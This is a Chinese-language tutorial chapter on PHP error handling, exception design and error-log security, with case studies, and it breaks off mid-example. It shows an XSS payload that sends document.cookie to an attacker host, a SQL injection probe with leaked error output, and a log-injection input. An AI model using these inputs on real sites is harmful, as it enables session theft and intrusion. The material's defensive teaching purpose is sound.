六、PHP错误处理与异常机制

1. PHP错误处理基础

1.1 PHP错误类型体系

PHP将错误分为多个级别,每种级别有不同的处理方式和安全风险。

错误级别分类:

级别 常量 严重程度 安全影响
致命错误 E_ERROR 脚本终止,可能导致服务中断
可恢复错误 E_RECOVERABLE_ERROR 中高 可被捕获,处理不当会转为致命错误
警告 E_WARNING 不终止脚本,但可能暴露敏感路径
注意 E_NOTICE 开发辅助信息,生产环境应关闭
弃用警告 E_DEPRECATED 版本升级提示,安全维护参考
严格标准 E_STRICT 编码规范建议
编译警告 E_COMPILE_WARNING 语法问题,可能隐藏漏洞
编译错误 E_COMPILE_ERROR 代码无法执行
用户错误 E_USER_ERROR 可变 触发者控制内容和级别
用户警告 E_USER_WARNING 可变 应用层警告
用户注意 E_USER_NOTICE 可变 应用层提示
php 复制代码
<?php
// 触发不同类型的错误

// E_NOTICE - 使用未定义变量
echo $undefined_variable;  // Notice: Undefined variable

// E_WARNING - 文件不存在
file_get_contents('/nonexistent/file.txt');  // Warning: failed to open stream

// E_DEPRECATED - 使用已弃用函数 (PHP 7.4+)
// get_magic_quotes_gpc();  // Deprecated

// E_ERROR - 内存耗尽或调用不存在函数
// nonexistent_function();  // Fatal error

// 用户触发的错误
trigger_error("Custom warning", E_USER_WARNING);
?>

1.2 错误处理的生命周期

理解PHP错误处理的完整流程对安全至关重要。

复制代码
错误发生
    ↓
检查 @ 错误抑制运算符
    ↓
调用自定义 error_handler (如果已设置)
    ↓
检查 error_reporting 级别
    ↓
显示/记录错误 (根据 display_errors 和 log_errors)
    ↓
根据错误级别决定是否终止脚本

关键配置指令:

ini 复制代码
; 错误报告级别 (开发环境)
error_reporting = E_ALL

; 错误报告级别 (生产环境)
error_reporting = E_ALL & ~E_DEPRECATED & ~E_STRICT

; 是否显示错误 (生产环境必须关闭)
display_errors = Off

; 是否记录错误 (始终开启)
log_errors = On

; 错误日志路径
error_log = /var/log/php/error.log

; 是否显示启动错误
display_startup_errors = Off

; 是否记录重复错误
ignore_repeated_errors = On
ignore_repeated_source = On

; 错误日志的最大长度
log_errors_max_len = 1024

1.3 自定义错误处理器

php 复制代码
<?php
/**
 * 基础错误处理器示例
 */
set_error_handler(function ($errno, $errstr, $errfile, $errline) {
    // 根据错误级别处理
    switch ($errno) {
        case E_WARNING:
        case E_USER_WARNING:
            $type = 'Warning';
            break;
        case E_NOTICE:
        case E_USER_NOTICE:
            $type = 'Notice';
            break;
        case E_ERROR:
        case E_USER_ERROR:
            $type = 'Fatal Error';
            break;
        default:
            $type = 'Unknown';
    }

    // 记录错误
    $message = sprintf(
        "[%s] %s: %s in %s on line %d",
        date('Y-m-d H:i:s'),
        $type,
        $errstr,
        $errfile,
        $errline
    );

    error_log($message);

    // 返回false让PHP继续处理(显示错误等)
    return false;
});

// 恢复默认错误处理器
// restore_error_handler();
?>

2. 错误报告与信息泄露

2.1 信息泄露风险全景

错误信息是攻击者的重要情报来源,可能泄露的信息包括:

php 复制代码
<?php
// 1. 文件系统结构
// Fatal error: require(): Failed opening required '/var/www/html/config/database.php'

// 2. 数据库凭证 (如果错误发生在连接时)
// Warning: mysqli_connect(): (28000/1045): Access denied for user 'dbuser'@'localhost'

// 3. 服务器软件版本
// Fatal error in /var/www/html/index.php on line 42 (PHP 7.4.3)

// 4. 应用逻辑和代码结构
// Undefined variable: $admin_password in /var/www/html/login.php on line 15

// 5. 第三方组件路径
// Fatal error: Class 'Vendor\\Package\\Class' not found in /var/www/html/vendor/...

// 6. 敏感的业务数据
// Notice: Undefined index: credit_card in /var/www/html/checkout.php on line 25
?>

攻击者利用方式:

  • 通过路径信息推断服务器操作系统和部署结构
  • 通过数据库错误信息获取连接凭据或表结构
  • 通过版本信息查找已知漏洞
  • 通过变量名理解业务逻辑

2.2 生产环境错误显示控制

危险配置 (永远不要用于生产):

ini 复制代码
; ❌ 危险的配置
display_errors = On
display_startup_errors = On
error_reporting = E_ALL
html_errors = On

安全配置:

ini 复制代码
; ✅ 生产环境配置
; 关闭错误显示
display_errors = Off
display_startup_errors = Off

; 开启错误日志
log_errors = On
log_errors_max_len = 4096

; 设置日志路径 (确保路径安全且可写)
error_log = /var/log/php/php_errors.log

; 限制报告级别 (移除开发辅助信息)
error_reporting = E_ALL & ~E_NOTICE & ~E_STRICT & ~E_DEPRECATED

; 关闭HTML格式错误 (防止XSS)
html_errors = Off

; 不暴露PHP版本
expose_php = Off

2.3 安全的错误信息脱敏

php 复制代码
<?php
/**
 * 安全的错误处理器 - 脱敏版本
 */
class SecureErrorHandler {
    private static $sensitivePatterns = [
        '/password/i',
        '/passwd/i',
        '/secret/i',
        '/token/i',
        '/key/i',
        '/credential/i',
        '/connection.*string/i',
        '/database.*user/i',
        '/mysqli_connect/i',
        '/pdo.*mysql/i',
    ];

    public static function handle($errno, $errstr, $errfile, $errline) {
        // 检查是否包含敏感信息
        $sanitizedError = self::sanitizeError($errstr);

        // 记录完整错误到安全日志(仅供管理员查看)
        self::logDetailedError($errno, $errstr, $errfile, $errline);

        // 对于致命错误,显示用户友好的消息
        if (in_array($errno, [E_ERROR, E_USER_ERROR, E_COMPILE_ERROR])) {
            self::displaySafeError();
            exit(1);
        }

        return true; // 阻止PHP默认处理
    }

    private static function sanitizeError($error) {
        foreach (self::$sensitivePatterns as $pattern) {
            $error = preg_replace($pattern, '[REDACTED]', $error);
        }
        return $error;
    }

    private static function logDetailedError($errno, $errstr, $errfile, $errline) {
        $context = [
            'timestamp' => date('c'),
            'errno' => $errno,
            'error' => $errstr,
            'file' => $errfile,
            'line' => $errline,
            'request_uri' => $_SERVER['REQUEST_URI'] ?? 'CLI',
            'remote_addr' => $_SERVER['REMOTE_ADDR'] ?? 'unknown',
            'trace' => debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS),
        ];

        // 记录到安全日志
        error_log(json_encode($context, JSON_UNESCAPED_SLASHES));
    }

    private static function displaySafeError() {
        http_response_code(500);
        header('Content-Type: text/plain');
        echo "An error occurred. Please try again later.\n";
        echo "Error ID: " . uniqid('err_', true) . "\n";
        // 用户可以报告此ID给管理员
    }
}

// 注册处理器
set_error_handler([SecureErrorHandler::class, 'handle']);
?>

2.4 错误处理中的XSS风险

html_errors = On 时,错误信息可能被浏览器解析为HTML,导致XSS漏洞。

php 复制代码
<?php
// 危险场景:用户输入触发错误
$userInput = "<script>alert('XSS')</script>";

// 如果错误信息包含用户输入且html_errors开启
// 可能输出:
// <b>Fatal error</b>: Undefined function: <script>alert('XSS')</script>

// 攻击者构造:
// ?input=<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>
?>

防御方案:

php 复制代码
<?php
/**
 * 防止XSS的错误处理器
 */
class XssSafeErrorHandler {
    public static function handle($errno, $errstr, $errfile, $errline) {
        // 对错误信息进行HTML转义
        $safeError = htmlspecialchars($errstr, ENT_QUOTES | ENT_HTML5, 'UTF-8');
        $safeFile = htmlspecialchars($errfile, ENT_QUOTES | ENT_HTML5, 'UTF-8');

        // 记录到日志(原始内容)
        error_log("Error $errno: $errstr in $errfile:$errline");

        // 显示转义后的内容
        if (ini_get('display_errors')) {
            echo "<pre>Error: $safeError in $safeFile:$errline</pre>";
        }

        return true;
    }
}

// 更好的做法:关闭html_errors,使用纯文本
// ini_set('html_errors', 'Off');
?>

3. 异常机制深度解析

3.1 异常与错误的区别

php 复制代码
<?php
/**
 * Error vs Exception 对比
 */

// Error - PHP引擎层面的问题
// 通常无法恢复,如内存耗尽、语法错误
// 可以通过 set_error_handler 捕获部分错误

// Exception - 应用层面的异常情况
// 可以被 try-catch 捕获和处理
// 面向对象的错误处理方式

// Error 示例
// $arr = [1, 2, 3];
// echo $arr[10];  // Notice: Undefined offset

// Exception 示例
try {
    $pdo = new PDO('mysql:host=invalid', 'user', 'pass');
} catch (PDOException $e) {
    // 可以捕获和处理
    echo "Database connection failed\n";
}

// PHP 7+ 的错误层次结构
// Throwable (接口)
//   ├── Error (类)
//   │     ├── TypeError
//   │     ├── ArithmeticError
//   │     └── ...
//   └── Exception (类)
//         ├── RuntimeException
//         ├── InvalidArgumentException
//         └── ...
?>

3.2 异常的安全使用模式

php 复制代码
<?php
/**
 * 安全的异常处理模式
 */

// 模式1: 特定异常捕获
function getUserById(int $id): ?array {
    try {
        $stmt = $this->db->prepare('SELECT * FROM users WHERE id = ?');
        $stmt->execute([$id]);
        return $stmt->fetch() ?: null;
    } catch (PDOException $e) {
        // 记录详细错误
        error_log("Database error in getUserById: " . $e->getMessage());

        // 抛出通用异常(不暴露数据库细节)
        throw new RuntimeException("Failed to retrieve user data");
    }
}

// 模式2: 异常转换(隐藏实现细节)
class UserRepository {
    public function find(int $id): User {
        try {
            // 数据库操作
        } catch (PDOException $e) {
            // 转换为领域异常
            throw new UserNotFoundException("User not found", 0, $e);
            // 注意:将原始异常作为第三个参数保留,便于调试
        }
    }
}

// 模式3: 资源清理的保障
function processFile(string $path): void {
    $handle = fopen($path, 'r');
    if (!$handle) {
        throw new RuntimeException("Cannot open file");
    }

    try {
        // 处理文件
        while (($line = fgets($handle)) !== false) {
            processLine($line);
        }
    } finally {
        // 确保文件被关闭
        fclose($handle);
    }
}

// 模式4: 多重异常捕获
function riskyOperation(): void {
    try {
        // 可能抛出多种异常的操作
    } catch (InvalidArgumentException $e) {
        // 处理参数错误
        error_log("Invalid argument: " . $e->getMessage());
        showUserMessage("Invalid input provided");
    } catch (RuntimeException $e) {
        // 处理运行时错误
        error_log("Runtime error: " . $e->getMessage());
        showUserMessage("Operation failed");
    } catch (Exception $e) {
        // 兜底捕获
        error_log("Unexpected error: " . $e->getMessage());
        showUserMessage("An unexpected error occurred");
    }
}
?>

3.3 异常中的信息控制

php 复制代码
<?php
/**
 * 控制异常信息泄露
 */

class SecureException extends Exception {
    private $publicMessage;
    private $errorId;

    public function __construct(
        string $publicMessage,
        string $privateMessage = '',
        int $code = 0,
        ?Throwable $previous = null
    ) {
        $this->publicMessage = $publicMessage;
        $this->errorId = uniqid('ERR', true);

        // 父类保存详细信息(用于日志)
        parent::__construct($privateMessage ?: $publicMessage, $code, $previous);
    }

    // 用户看到的信息
    public function getPublicMessage(): string {
        return $this->publicMessage . " (Reference: {$this->errorId})";
    }

    // 获取错误ID(用于关联日志)
    public function getErrorId(): string {
        return $this->errorId;
    }

    // 重写 __toString 防止敏感信息泄露
    public function __toString(): string {
        return $this->getPublicMessage();
    }
}

// 使用示例
function connectToDatabase(): PDO {
    try {
        return new PDO('mysql:host=localhost;dbname=test', 'user', 'wrong_pass');
    } catch (PDOException $e) {
        // 记录完整错误到日志
        error_log("DB Connection Failed [{$this->errorId}]: " . $e->getMessage());

        // 抛出脱敏的异常
        throw new SecureException(
            "Unable to connect to database",           // 用户看到
            "Connection failed: " . $e->getMessage()   // 日志记录
        );
    }
}

// 全局异常处理器
set_exception_handler(function (Throwable $e) {
    http_response_code(500);

    if ($e instanceof SecureException) {
        // 显示安全的信息
        echo "Error: " . $e->getPublicMessage();
    } else {
        // 非预期异常,记录并显示通用消息
        $errorId = uniqid('ERR', true);
        error_log("Unhandled Exception [$errorId]: " . $e);
        echo "An unexpected error occurred. Reference: $errorId";
    }
});
?>

3.4 异常处理器的安全实现

php 复制代码
<?php
/**
 * 生产环境异常处理器
 */
class ProductionExceptionHandler {
    private static $errorId;

    public static function handle(Throwable $e): void {
        self::$errorId = uniqid('ERR', true);

        // 记录完整异常信息
        self::logException($e);

        // 根据请求类型返回适当的响应
        if (PHP_SAPI === 'cli') {
            self::handleCli($e);
        } else {
            self::handleHttp($e);
        }
    }

    private static function logException(Throwable $e): void {
        $logData = [
            'error_id' => self::$errorId,
            'timestamp' => date('c'),
            'type' => get_class($e),
            'message' => $e->getMessage(),
            'file' => $e->getFile(),
            'line' => $e->getLine(),
            'trace' => $e->getTraceAsString(),
            'request' => [
                'method' => $_SERVER['REQUEST_METHOD'] ?? 'CLI',
                'uri' => $_SERVER['REQUEST_URI'] ?? '',
                'ip' => $_SERVER['REMOTE_ADDR'] ?? 'unknown',
            ],
        ];

        // 记录到安全日志
        error_log(json_encode($logData, JSON_PRETTY_PRINT));
    }

    private static function handleHttp(Throwable $e): void {
        $statusCode = self::getHttpStatusCode($e);
        http_response_code($statusCode);

        // 根据Accept头返回不同格式
        $accept = $_SERVER['HTTP_ACCEPT'] ?? '';

        if (strpos($accept, 'application/json') !== false) {
            header('Content-Type: application/json');
            echo json_encode([
                'error' => 'Internal Server Error',
                'reference' => self::$errorId,
            ]);
        } else {
            header('Content-Type: text/html; charset=utf-8');
            // 显示用户友好的错误页面(不包含敏感信息)
            echo self::getErrorHtml();
        }
    }

    private static function handleCli(Throwable $e): void {
        fwrite(STDERR, "Error [" . self::$errorId . "]: An unexpected error occurred\n");
        fwrite(STDERR, "Check error logs for details\n");
    }

    private static function getHttpStatusCode(Throwable $e): int {
        // 根据异常类型返回适当的HTTP状态码
        if ($e instanceof InvalidArgumentException) {
            return 400; // Bad Request
        }
        if ($e instanceof RuntimeException) {
            return 500; // Internal Server Error
        }
        return 500;
    }

    private static function getErrorHtml(): string {
        return <<<HTML
<!DOCTYPE html>
<html>
<head>
    <title>Error</title>
    <style>
        body { font-family: sans-serif; text-align: center; padding: 50px; }
        .error { color: #666; }
        .reference { color: #999; font-size: 0.9em; margin-top: 20px; }
    </style>
</head>
<body>
    <h1>An Error Occurred</h1>
    <p class="error">We're sorry, but something went wrong.</p>
    <p class="reference">Error Reference: {self::$errorId}</p>
</body>
</html>
HTML;
    }
}

// 注册全局异常处理器
set_exception_handler([ProductionExceptionHandler::class, 'handle']);
?>

4. 错误处理器的安全实现

4.1 错误处理器的陷阱

php 复制代码
<?php
/**
 * 不安全的错误处理器示例
 */

// 陷阱1: 递归错误
set_error_handler(function ($errno, $errstr) {
    // 如果这里发生错误,会触发另一个错误,导致无限递归
    file_put_contents('/invalid/path/error.log', $errstr);  // 可能失败
    return true;
});

// 陷阱2: 异常逃逸
set_error_handler(function ($errno, $errstr) {
    // 在错误处理器中抛出异常是危险的
    if ($errno === E_WARNING) {
        throw new Exception($errstr);  // 可能导致不可预知行为
    }
});

// 陷阱3: 信息泄露
set_error_handler(function ($errno, $errstr, $errfile, $errline) {
    // 直接输出到浏览器(生产环境危险)
    echo "<div style='color:red'>$errstr at $errfile:$errline</div>";
    // 暴露了文件路径和代码结构
});

// 陷阱4: 资源竞争
$logFile = fopen('/tmp/error.log', 'a');
set_error_handler(function ($errno, $errstr) use ($logFile) {
    // 多进程环境下可能产生竞争条件
    fwrite($logFile, $errstr);
    // 没有适当的锁机制
});
?>

4.2 安全的错误处理器

php 复制代码
<?php
/**
 * 健壮的错误处理器实现
 */
class RobustErrorHandler {
    private static $isHandling = false;
    private static $maxNesting = 5;
    private static $nestingLevel = 0;

    public static function handle($errno, $errstr, $errfile, $errline, $context = []) {
        // 防止递归
        if (self::$isHandling) {
            self::$nestingLevel++;
            if (self::$nestingLevel > self::$maxNesting) {
                // 递归过深,直接退出
                error_log("Error handler recursion limit exceeded");
                exit(1);
            }
        }
        self::$isHandling = true;

        try {
            // 根据错误级别处理
            $shouldLog = self::shouldLog($errno);
            $shouldNotify = self::shouldNotify($errno);

            if ($shouldLog) {
                self::logError($errno, $errstr, $errfile, $errline);
            }

            if ($shouldNotify && self::$nestingLevel === 0) {
                self::notifyAdmin($errno, $errstr, $errfile, $errline);
            }

            // 致命错误需要特殊处理
            if (in_array($errno, [E_ERROR, E_CORE_ERROR, E_COMPILE_ERROR, E_USER_ERROR])) {
                self::handleFatalError();
            }

        } catch (Throwable $e) {
            // 错误处理器本身出错,使用最原始的方式记录
            error_log("Error handler failed: " . $e->getMessage());
        } finally {
            self::$isHandling = false;
            self::$nestingLevel--;
        }

        // 返回false让PHP继续处理
        return false;
    }

    private static function shouldLog($errno): bool {
        $logLevels = E_ALL & ~E_NOTICE & ~E_STRICT;
        return ($errno & $logLevels) !== 0;
    }

    private static function shouldNotify($errno): bool {
        $criticalLevels = E_ERROR | E_CORE_ERROR | E_COMPILE_ERROR;
        return ($errno & $criticalLevels) !== 0;
    }

    private static function logError($errno, $errstr, $errfile, $errline): void {
        $errorTypes = [
            E_ERROR => 'ERROR',
            E_WARNING => 'WARNING',
            E_PARSE => 'PARSE',
            E_NOTICE => 'NOTICE',
            E_CORE_ERROR => 'CORE_ERROR',
            E_CORE_WARNING => 'CORE_WARNING',
            E_COMPILE_ERROR => 'COMPILE_ERROR',
            E_COMPILE_WARNING => 'COMPILE_WARNING',
            E_USER_ERROR => 'USER_ERROR',
            E_USER_WARNING => 'USER_WARNING',
            E_USER_NOTICE => 'USER_NOTICE',
            E_STRICT => 'STRICT',
            E_RECOVERABLE_ERROR => 'RECOVERABLE_ERROR',
            E_DEPRECATED => 'DEPRECATED',
            E_USER_DEPRECATED => 'USER_DEPRECATED',
        ];

        $type = $errorTypes[$errno] ?? 'UNKNOWN';

        $logEntry = [
            'timestamp' => date('c'),
            'type' => $type,
            'message' => self::sanitizeMessage($errstr),
            'file' => $errfile,
            'line' => $errline,
            'request_id' => $_SERVER['HTTP_X_REQUEST_ID'] ?? uniqid(),
        ];

        // 使用原子写入避免竞争条件
        $logLine = json_encode($logEntry) . "\n";
        error_log($logLine, 3, '/var/log/php/application_errors.log');
    }

    private static function sanitizeMessage($message): string {
        // 移除或替换敏感信息
        $patterns = [
            '/password\s*=\s*\S+/i' => 'password=***',
            '/user\s*=\s*\S+/i' => 'user=***',
            '/host\s*=\s*\S+/i' => 'host=***',
        ];

        return preg_replace(array_keys($patterns), array_values($patterns), $message);
    }

    private static function handleFatalError(): void {
        // 清理输出缓冲区
        while (ob_get_level()) {
            ob_end_clean();
        }

        http_response_code(500);

        if (ini_get('display_errors')) {
            echo "A fatal error occurred. Please check the error logs.\n";
        } else {
            echo "An unexpected error occurred. Please try again later.\n";
        }
    }

    private static function notifyAdmin($errno, $errstr, $errfile, $errline): void {
        // 实现管理员通知(如发送邮件、Slack消息等)
        // 注意:这里应该实现速率限制,避免通知风暴
    }
}

// 注册
set_error_handler([RobustErrorHandler::class, 'handle']);
?>

5. 生产环境错误处理策略

5.1 分层错误处理架构

php 复制代码
<?php
/**
 * 分层错误处理策略
 */

// 第1层: 应用入口点
try {
    $app = new Application();
    $app->run();
} catch (Throwable $e) {
    // 最后一道防线
    http_response_code(500);
    error_log("Uncaught exception at top level: " . $e);
    echo "System temporarily unavailable";
}

// 第2层: 控制器/服务层
class UserController {
    public function show(int $id): Response {
        try {
            $user = $this->userService->find($id);
            return new JsonResponse($user);
        } catch (UserNotFoundException $e) {
            // 预期内的异常
            return new JsonResponse(['error' => 'User not found'], 404);
        } catch (DatabaseException $e) {
            // 记录并返回通用错误
            $this->logger->error("Database error: " . $e);
            return new JsonResponse(['error' => 'Internal error'], 500);
        }
    }
}

// 第3层: 数据访问层
class UserRepository {
    public function find(int $id): ?User {
        try {
            $stmt = $this->db->prepare("SELECT * FROM users WHERE id = ?");
            $stmt->execute([$id]);
            $data = $stmt->fetch();
            return $data ? new User($data) : null;
        } catch (PDOException $e) {
            // 转换为领域异常
            throw new DatabaseException("Failed to fetch user", 0, $e);
        }
    }
}
?>

5.2 优雅降级策略

php 复制代码
<?php
/**
 * 优雅降级示例
 */
class GracefulDegradation {
    private $cache;
    private $logger;

    public function getUserData(int $userId): array {
        // 尝试从数据库获取
        try {
            return $this->fetchFromDatabase($userId);
        } catch (DatabaseException $e) {
            $this->logger->warning("DB failed, trying cache: " . $e->getMessage());

            // 降级:尝试从缓存获取
            $cached = $this->fetchFromCache($userId);
            if ($cached !== null) {
                return $cached;
            }

            // 再次降级:返回默认值
            $this->logger->error("Cache miss for user $userId");
            return $this->getDefaultUserData($userId);
        }
    }

    public function processPayment(Order $order): Result {
        // 主要支付处理器
        try {
            return $this->primaryProcessor->process($order);
        } catch (PaymentException $e) {
            $this->logger->warning("Primary processor failed: " . $e->getMessage());

            // 降级:使用备用处理器
            try {
                return $this->backupProcessor->process($order);
            } catch (PaymentException $e2) {
                // 记录并返回失败结果(而非抛出异常)
                $this->logger->error("All payment processors failed");
                return Result::failure("Payment temporarily unavailable");
            }
        }
    }
}
?>

5.3 错误边界模式

php 复制代码
<?php
/**
 * 错误边界 - 隔离错误影响范围
 */
class ErrorBoundary {
    private $logger;

    /**
     * 执行可能出错的操作,出错时返回默认值
     */
    public function execute(callable $operation, $fallback = null, string $context = '') {
        try {
            return $operation();
        } catch (Throwable $e) {
            $this->logger->error("Error in $context: " . $e->getMessage(), [
                'trace' => $e->getTraceAsString()
            ]);
            return $fallback;
        }
    }

    /**
     * 执行操作,出错时返回空值但不影响主流程
     */
    public function executeSilent(callable $operation, string $context = '') {
        return $this->execute($operation, null, $context);
    }

    /**
     * 批量执行,收集错误但不中断
     */
    public function executeBatch(array $operations): array {
        $results = [];
        $errors = [];

        foreach ($operations as $key => $operation) {
            try {
                $results[$key] = $operation();
            } catch (Throwable $e) {
                $errors[$key] = $e;
                $results[$key] = null;
            }
        }

        if (!empty($errors)) {
            $this->logger->error("Batch operation had " . count($errors) . " failures");
        }

        return $results;
    }
}

// 使用示例
$boundary = new ErrorBoundary();

// 非关键操作失败不影响主流程
$userStats = $boundary->execute(
    fn() => $analytics->getUserStats($userId),
    ['visits' => 0, 'purchases' => 0],
    'user_stats'
);

// 批量操作
$results = $boundary->executeBatch([
    'profile' => fn() => $userRepo->getProfile($id),
    'orders' => fn() => $orderRepo->getRecent($id),
    'preferences' => fn() => $prefRepo->get($id),
]);
// 即使orders查询失败,profile和preferences仍然可用
?>

6. 错误日志安全

6.1 日志存储安全

php 复制代码
<?php
/**
 * 安全日志存储最佳实践
 */

// 1. 日志文件位置
// ✅ 存储在web根目录之外
// /var/log/php/ (推荐)
// /var/www/logs/ (可以接受,需防止web访问)

// ❌ 危险位置
// /var/www/html/logs/ (可能被web访问)
// /tmp/ (其他用户可以读取)

// 2. 日志文件权限
// 日志目录: 755 (drwxr-xr-x) 或 750 (drwxr-x---)
// 日志文件: 644 (rw-r--r--) 或 640 (rw-r-----)

// 3. 防止日志注入
class SecureLogger {
    private $logFile;

    public function __construct(string $logFile) {
        $this->logFile = $logFile;
    }

    public function log(string $level, string $message, array $context = []): void {
        // 对消息进行净化,防止日志注入
        $safeMessage = $this->sanitize($message);

        // 清理上下文数据
        $safeContext = $this->sanitizeContext($context);

        $entry = [
            'timestamp' => date('c'),
            'level' => $level,
            'message' => $safeMessage,
            'context' => $safeContext,
        ];

        $line = json_encode($entry, JSON_UNESCAPED_SLASHES) . "\n";

        // 使用文件锁防止竞争条件
        $fp = fopen($this->logFile, 'a');
        if ($fp && flock($fp, LOCK_EX)) {
            fwrite($fp, $line);
            flock($fp, LOCK_UN);
            fclose($fp);
        }
    }

    private function sanitize(string $text): string {
        // 移除控制字符
        $text = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F]/', '', $text);

        // 防止多行注入
        $text = str_replace(["\r\n", "\r", "\n"], ' ', $text);

        return $text;
    }

    private function sanitizeContext(array $context): array {
        $sensitive = ['password', 'secret', 'token', 'key', 'credential'];

        array_walk_recursive($context, function (&$value, $key) use ($sensitive) {
            foreach ($sensitive as $pattern) {
                if (stripos($key, $pattern) !== false) {
                    $value = '***REDACTED***';
                    return;
                }
            }

            // 确保值为可序列化
            if (is_resource($value)) {
                $value = '(resource)';
            } elseif (is_object($value) && !method_exists($value, '__toString')) {
                $value = '(object:' . get_class($value) . ')';
            }
        });

        return $context;
    }
}
?>

6.2 日志轮转与归档

php 复制代码
<?php
/**
 * 日志轮转实现
 */
class LogRotator {
    private $logDir;
    private $maxSize;  // 字节
    private $maxFiles;

    public function __construct(string $logDir, int $maxSize = 10485760, int $maxFiles = 5) {
        $this->logDir = rtrim($logDir, '/');
        $this->maxSize = $maxSize;
        $this->maxFiles = $maxFiles;
    }

    public function rotate(string $logFile): void {
        if (!file_exists($logFile)) {
            return;
        }

        if (filesize($logFile) < $this->maxSize) {
            return;
        }

        $this->doRotation($logFile);
    }

    private function doRotation(string $logFile): void {
        $baseName = basename($logFile);
        $extension = pathinfo($baseName, PATHINFO_EXTENSION);
        $name = pathinfo($baseName, PATHINFO_FILENAME);

        // 删除最旧的日志
        $oldest = $this->logDir . '/' . $name . '.' . $this->maxFiles . '.' . $extension;
        if (file_exists($oldest)) {
            unlink($oldest);
        }

        // 移动现有日志
        for ($i = $this->maxFiles - 1; $i >= 1; $i--) {
            $old = $this->logDir . '/' . $name . '.' . $i . '.' . $extension;
            $new = $this->logDir . '/' . $name . '.' . ($i + 1) . '.' . $extension;

            if (file_exists($old)) {
                rename($old, $new);
            }
        }

        // 移动当前日志
        $newLog = $this->logDir . '/' . $name . '.1.' . $extension;
        rename($logFile, $newLog);

        // 压缩旧日志
        $this->compress($newLog);

        // 创建新日志文件
        touch($logFile);
        chmod($logFile, 0640);
    }

    private function compress(string $file): void {
        // 使用gzip压缩
        $compressed = $file . '.gz';
        $fp = fopen($file, 'rb');
        $zp = gzopen($compressed, 'wb9');

        while (!feof($fp)) {
            gzwrite($zp, fread($fp, 1024 * 512));
        }

        fclose($fp);
        gzclose($zp);

        unlink($file);
    }
}
?>

6.3 日志访问控制

php 复制代码
<?php
/**
 * 安全日志查看接口
 */
class SecureLogViewer {
    private $allowedPaths = [];
    private $maxLines = 1000;

    public function __construct(array $allowedPaths) {
        $this->allowedPaths = array_map('realpath', $allowedPaths);
    }

    /**
     * 安全地读取日志文件
     */
    public function read(string $requestedFile, int $lines = 100): array {
        $file = realpath($requestedFile);

        // 验证文件路径
        if ($file === false) {
            throw new SecurityException("Invalid file path");
        }

        $allowed = false;
        foreach ($this->allowedPaths as $path) {
            if (strpos($file, $path) === 0) {
                $allowed = true;
                break;
            }
        }

        if (!$allowed) {
            throw new SecurityException("Access denied");
        }

        // 限制行数
        $lines = min($lines, $this->maxLines);

        // 安全读取
        return $this->tail($file, $lines);
    }

    private function tail(string $file, int $lines): array {
        if (!is_readable($file)) {
            throw new RuntimeException("File not readable");
        }

        $fp = fopen($file, 'r');
        if (!$fp) {
            throw new RuntimeException("Cannot open file");
        }

        $result = [];
        $buffer = [];
        $chunkSize = 1024;
        $pos = filesize($file);

        while ($pos > 0 && count($buffer) < $lines) {
            $pos = max(0, $pos - $chunkSize);
            fseek($fp, $pos);

            $chunk = fread($fp, $chunkSize);
            $lines_in_chunk = explode("\n", $chunk);

            $buffer = array_merge($lines_in_chunk, $buffer);
        }

        fclose($fp);

        $buffer = array_slice($buffer, -$lines);

        // 净化输出
        foreach ($buffer as $line) {
            $result[] = htmlspecialchars($line, ENT_QUOTES, 'UTF-8');
        }

        return $result;
    }
}
?>

7. 真实案例分析

7.1 案例1: 错误处理器递归导致DOS

背景: 某网站在生产环境中频繁出现500错误,最终发现是错误处理器设计缺陷导致。

漏洞代码:

php 复制代码
<?php
// 脆弱的错误处理器
set_error_handler(function ($errno, $errstr) {
    // 尝试记录到数据库
    $db = new PDO('mysql:host=localhost', 'user', 'pass');
    $stmt = $db->prepare("INSERT INTO errors (message) VALUES (?)");
    $stmt->execute([$errstr]);  // 如果数据库故障,会触发新的错误
    return true;
});

// 当数据库连接失败时:
// 1. 触发 E_WARNING
// 2. 错误处理器尝试连接数据库
// 3. 连接失败,触发新的 E_WARNING
// 4. 递归调用错误处理器
// 5. 最终导致栈溢出或内存耗尽
?>

修复方案:

php 复制代码
<?php
class SafeErrorHandler {
    private static $handling = false;

    public static function handle($errno, $errstr) {
        // 防止递归
        if (self::$handling) {
            // 使用最原始的方式记录
            error_log("Recursive error: $errstr");
            return true;
        }

        self::$handling = true;

        try {
            // 使用文件日志而非数据库
            error_log("Error [$errno]: $errstr", 3, '/var/log/php/errors.log');
        } finally {
            self::$handling = false;
        }

        return true;
    }
}

set_error_handler([SafeErrorHandler::class, 'handle']);
?>

7.2 案例2: 错误信息泄露数据库凭证

背景: 开发者在生产环境开启了详细错误显示,攻击者通过构造错误请求获取了数据库连接信息。

攻击过程:

复制代码
攻击者访问: https://target.com/api/users?id=' OR 1=1
错误输出: Fatal error: Uncaught PDOException: SQLSTATE[42000]:
Syntax error or access violation: 1064 You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the
right syntax to use near '' OR 1=1'' at line 1 in /var/www/html/config/database.php:23
Stack trace:
#0 /var/www/html/config/database.php(23): PDO->prepare('SELECT * FROM u...')
#1 /var/www/html/api/users.php(15): Database->query('SELECT * FROM u...')
...

修复方案:

php 复制代码
<?php
// 1. 关闭详细错误显示
ini_set('display_errors', 'Off');
ini_set('display_startup_errors', 'Off');
ini_set('log_errors', 'On');

// 2. 自定义异常处理器隐藏敏感信息
set_exception_handler(function (Throwable $e) {
    $errorId = uniqid('ERR', true);

    // 记录完整信息到日志(管理员可见)
    error_log("[$errorId] " . $e->getMessage() . "\n" . $e->getTraceAsString());

    // 用户只看到安全的信息
    http_response_code(500);
    header('Content-Type: application/json');
    echo json_encode([
        'error' => 'Internal Server Error',
        'reference' => $errorId
    ]);
});

// 3. 数据库错误包装
class Database {
    private $pdo;

    public function query(string $sql, array $params = []) {
        try {
            $stmt = $this->pdo->prepare($sql);
            $stmt->execute($params);
            return $stmt;
        } catch (PDOException $e) {
            // 记录原始错误
            error_log("Database error: " . $e->getMessage());

            // 抛出脱敏异常
            throw new RuntimeException("Database operation failed");
        }
    }
}
?>

7.3 案例3: 日志注入攻击

背景: 某应用的日志系统受到注入攻击,攻击者在日志中插入伪造的日志条目。

攻击方式:

php 复制代码
<?php
// 假设日志记录用户输入
$username = $_POST['username'];
file_put_contents('/var/log/app.log', "Login attempt: $username\n", FILE_APPEND);

// 攻击者提交:
// username = "admin
// [2024-01-01 00:00:00] INFO: User admin logged in successfully
// Fake log entry"

// 日志结果:
